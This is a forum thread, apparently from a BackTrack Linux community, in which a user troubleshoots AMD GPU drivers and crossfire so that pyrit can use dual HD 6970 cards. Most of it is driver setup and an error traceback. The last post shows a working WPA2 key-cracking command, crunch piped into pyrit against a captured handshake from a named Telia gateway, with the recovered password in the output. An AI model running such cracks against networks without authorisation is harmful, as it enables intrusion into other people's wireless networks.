Installing HD 6970 on BackTrack 5 R2 to work with pyrit
Hallo!
I am currently trying to install my dual HD 6970 desktop PC to run with proper drivers.
I just managed to install my laptop, G74SX with GTX 560m, and is now running fine. Pyrit Benchmark is giving 12000 PKM. Is that to low or acceptable for that GPU?
I followed the guide from twocents;
http://www.backtrack-linux.org/forum...ad.php?t=48510
Should i preform the same step as I did when i installed nvidia drivers here;
"
nano ~/.bashrc
change the PATH= and add these lines to the end (after the last fi) so it looks like this:
PATH=$PATH:/usr/local/cuda/bin
LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/cuda/lib64
export PATH
export LD_LIBRARY_PATH
"
I lucked in the forum, but couldn´t find any guide on how to install AMD GPU´s. Is the process the same but with other drivers? and as I understand, AMD cards uses openGL instead of CUDA, since they don't have it.
I have downloaded the drivers for the cards and i don't know if i should do from now on, is the installation process same as with nvidia drives?
Once i have installed them, do they automatically apply crossfire settings?
I appreciate all replies and help!
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I´ve found after weeks of research this guide that shows you what to do and get it to work with AMD GPUS.
http://sites.google.com/site/nozycze...r1-gnome-64bit
Although with crossfire disabled i get a score of 83493 PMKs/s, and when i enable crossfire, i see both of my cards (identical hd 6970´s) but get an error and cant run benchmark.
Does any one know how to configure pyrit to get dual AMD cards run together?
This is my error message:
"
root@bt:~# pyrit list_cores
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
The following cores seem available...
#1: 'CAL++ Device #1 'AMD CAYMAN''
#2: 'CAL++ Device #2 'AMD CAYMAN''
#3: 'CPU-Core (SSE2)'
#4: 'CPU-Core (SSE2)'
#5: 'CPU-Core (SSE2)'
#6: 'CPU-Core (SSE2)'
#7: 'CPU-Core (SSE2)'
#8: 'CPU-Core (SSE2)'
Exception in thread CAL++ Device #1 'AMD CAYMAN':
Traceback (most recent call last):
File "/usr/lib/python2.6/threading.py", line 532, in __bootstrap_inner
self.run()
File "/usr/local/lib/python2.6/dist-packages/cpyrit/cpyrit.py", line 205, in run
self._testData(res)
File "/usr/local/lib/python2.6/dist-packages/cpyrit/cpyrit.py", line 155, in _testData
raise ValueError("Test-vector does not result in correct PMK.")
ValueError: Test-vector does not result in correct PMK.
Exception in thread CAL++ Device #2 'AMD CAYMAN':
Traceback (most recent call last):
File "/usr/lib/python2.6/threading.py", line 532, in __bootstrap_inner
self.run()
File "/usr/local/lib/python2.6/dist-packages/cpyrit/cpyrit.py", line 205, in run
self._testData(res)
File "/usr/local/lib/python2.6/dist-packages/cpyrit/cpyrit.py", line 155, in _testData
raise ValueError("Test-vector does not result in correct PMK.")
ValueError: Test-vector does not result in correct PMK.
"
__________________________________________________ ______________________________________
Alright, found the fix for my dual card problem... turns out really simple.
add
Code:
export DISPLAY=:0
to your .bashrc
then
Code in terminal:
aticonfig --adapter=all --initial -f
Now my setup is running fine!
root@bt:/pentest/passwords/crunch# ./crunch 10 10 -f charset.lst hex-upper -t F2D5@@@@@@| pyrit -r /WPA2\ H4CK1NG/TeliaGateway08-76-FF-9C-54-F8/wpa-01.cap -b 08:76:FF:9C:54:F8 -i - attack_passthrough
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Parsing file '/WPA2 H4CK1NG/TeliaGateway08-76-FF-9C-54-F8/wpa-01.cap' (1/1)...
Parsed 12 packets (12 802.11-packets), got 1 AP(s)
Tried 11260563 PMKs so far; 135353 PMKs per second.
The password is 'F2D5AB6594'.
Cheers!
